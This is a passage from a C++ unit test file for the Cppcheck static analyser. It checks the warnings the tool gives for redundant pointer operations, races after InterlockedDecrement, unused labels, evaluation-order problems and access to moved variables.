However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. 